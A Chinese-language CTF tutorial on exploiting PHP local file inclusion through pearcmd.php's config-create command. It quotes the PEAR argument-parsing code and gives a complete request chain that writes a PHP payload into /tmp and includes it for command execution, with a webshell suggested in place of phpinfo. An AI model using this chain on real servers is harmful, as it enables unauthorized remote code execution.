利用pearcmd實現裸檔案包含
在 ctf 中,常常有這樣一類題:
題目很簡單,一般圍繞一個 include 函式展開。
例:
ctfshow 元旦水友賽 easy_include
這類題目沒有提供檔案上傳點,因此不能使用常規方法上傳一句話實現命令執行。
裸檔案包含是一種針對這類題目的解題手法。
這裡引入大佬的文章:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
後面我的研究很多都是基於這篇文章的。
由於沒有檔案上傳點,我們只能利用靶機本身的一些特殊檔案的特性寫入一句話實現命令執行。
常規的用法是日誌檔案包含,日誌檔案有以下特點
- 使用者的請求會導致某些日誌的跟新
- 使用者請求中的某些引數會寫入日誌裡(如User-Agent)
- 日誌檔案的預設位置一般是確定的
但是在 ctf 環境中,題目大多為 docker 環境,docker 環境下的日誌會有很多變數(具體參考上面大佬的文章)
那麼,docker 環境下,有沒有什麼更加普適性的方法來實現檔案包含+命令執行呢?
接下來就要引出一個docker環境下很大機率會有的一個工具—— pear包管理系統
pear包管理系統
pecl是PHP中用於管理擴充套件而使用的命令列工具,而pear是pecl依賴的類庫。在7.3及以前,pecl/pear是預設安裝的;在7.4及以後,需要我們在編譯PHP的時候指定
--with-pear
才會安裝。不過,在Docker任意版本映象中,pcel/pear都會被預設安裝,安裝的路徑在
/usr/local/lib/php
。
PEAR(PHP Extension and Application Repository)
這是一個PHP 的包管理系統,用於安裝和管理 PHP 擴充套件和庫。
PEAR 包管理器通常使用 pear
命令來執行各種操作,例如安裝、更新和刪除 PHP 包。
關鍵命令 config-create
我們關注這樣一條命令
pear config-create <directory> <filename>
這個命令使用了 config-create 模式,表明要建立一個配置檔案
其中,如果我們把
這樣,pear就會在 tmp 目錄下建立一個包含一句話木馬的配置檔案。此時,我們再利用 ctf 題目本身的檔案包含,包含這個一句話就能實現遠控了。
那麼,怎麼呼叫到這個 pear 命令列工具呢?
pearcmd.php
pearcmd.php 的預設路徑是 /usr/local/lib/php/pearcmd.php
這個檔案的第64行 呼叫了一個 readPHPArgv() 方法來獲取引數
https://github.com/AppStateESS/phpwebsite/blob/master/lib/pear/pearcmd.php
這個方法在 Getopt.php 的第273行定義
https://github.com/AppStateESS/phpwebsite/blob/master/lib/pear/Console/Getopt.php
function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
return PEAR::raiseError("Console_Getopt: Could not read cmd args (register_argc_argv=Off?)");
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
這個函式先嚐試獲取
$argv
,如果不存在就再嘗試$_SERVER['argv']
,後者我們可透過query-string控制。
$argv 是命令列輸入的引數,在ctf場景幾乎用不到這個條件。
關鍵是這個 $_SERVER['argv']
,這是我們可以控制的
$_SERVER['argv']
大佬原文的 0x06 的部分提到了這個引數的讀取原理
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
docker環境下的 php.ini 會預設開啟 register_argc_argv 這個配置
開啟這個配置之後,我們get請求的引數就會被讀取進 $_SERVER['argv'] 裡
像這樣
我們能在 phpinfo 裡看到這個 $_SERVER['argv'] 的值
利用鏈
假設題目為:
<?php include($_GET['file']); ?>
那麼我們可以構造如下請求(方便演示,這裡寫入 phpinfo )
/test.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php<?=phpinfo()?>+/tmp/hello.php
此時,服務端接收到的 $_SERVER[‘argv’] 引數就會是這種形式
這裡有個坑:請求裡的尖括號會被url編碼
可以使用burp抓包,並直接修改回原來的符號
由於包含了 pearcmd.php ,那麼接收到的引數就會傳入pear工具,等價於執行以下命令:
pear config-create /&file=/usr/local/lib/php/pearcmd.php<?=phpinfo()?> /tmp/hello.php
執行這條命令後,會在 /tmp
目錄下建立一個hello.php
的檔案,這個檔案裡面就會帶有上面那條命令裡的第二個引數(含有一句話木馬的字串)
執行成功後一般會返回如下頁面
此時再檔案包含生成的 /tmp/hello.php
,即可執行 phpinfo() 命令
/test.php?file=/tmp/hello.php
坑點:如果包含檔案後發現尖括號被編碼了,像這樣
那麼就不要用瀏覽器發起請求,直接用 burp 抓包修改回尖括號
同理,phpinfo 換成經典一句話,就可以實現命令執行。
總結
- 檔案包含 pearcmd.php
- get 請求傳入 引數列表(1. config-create模式 2. 一句話木馬 3. 生成檔案的位置)
- 檔案包含生成的一句話木馬檔案,實現命令執行